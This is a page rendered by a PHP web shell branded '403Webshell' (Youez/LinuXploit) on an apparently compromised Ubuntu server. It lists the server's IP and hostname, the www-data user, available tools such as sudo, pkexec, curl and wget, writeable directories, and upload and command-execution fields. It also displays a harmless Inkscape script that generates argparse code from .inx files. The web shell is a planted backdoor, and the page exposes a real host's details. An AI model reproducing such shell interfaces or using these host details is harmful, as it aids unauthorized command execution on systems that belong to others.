403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/tools/generate_argparse_conf.py
# coding=utf-8
import os
from string import Template
import xml.etree.ElementTree as ET
import argparse

parser = argparse.ArgumentParser(description='Reads an *.inx file and generates initialization code for argparse')
parser.add_argument('input')
args = parser.parse_args()

if os.path.isabs(args.input):
    inpath = args.input
else:
    folder = os.path.dirname(os.path.realpath(__file__))
    inpath = os.path.normpath(os.path.join(folder, args.input))

templateWithType = Template('self.arg_parser.add_argument("--$param",  type=$type, dest="$param", default=$default)')
templateWithoutType = Template('self.arg_parser.add_argument("--$param",  dest="$param", default=$default)')
def handle_param_node(node):
    if node.attrib["type"] == 'float':
        cmd = templateWithType.substitute(
            param=node.attrib["name"],
            type='float',
            default=node.text)
        print(cmd)
    elif node.attrib["type"] == 'int':
        cmd = templateWithType.substitute(
            param=node.attrib["name"],
            type='int',
            default=node.text)
        print(cmd)
    elif node.attrib["type"] == 'boolean':
        cmd = templateWithType.substitute(
            param=node.attrib["name"],
            type='inkex.inkbool',
            default='"' + node.text + '"')
        print(cmd)
    elif node.attrib["type"] == 'enum':
        cmd = templateWithoutType.substitute(
            param=node.attrib["name"],
            default='"' + node[0].text + '"')
        print(cmd)
    elif node.attrib["type"] == 'notebook':
        cmd = templateWithoutType.substitute(
            param=node.attrib["name"],
            default='"' + node[0].attrib["name"] + '"')
        print(cmd)
    else:
        # TODO: Implement other types of args
        raise NotImplementedError

def process_node(node):
    for child in node:
        if child.tag.endswith('param'):
            handle_param_node(child)
        process_node(child)

tree = ET.parse(inpath)
root = tree.getroot()
process_node(root)

Youez - 2016 - github.com/yon3zu
LinuXploit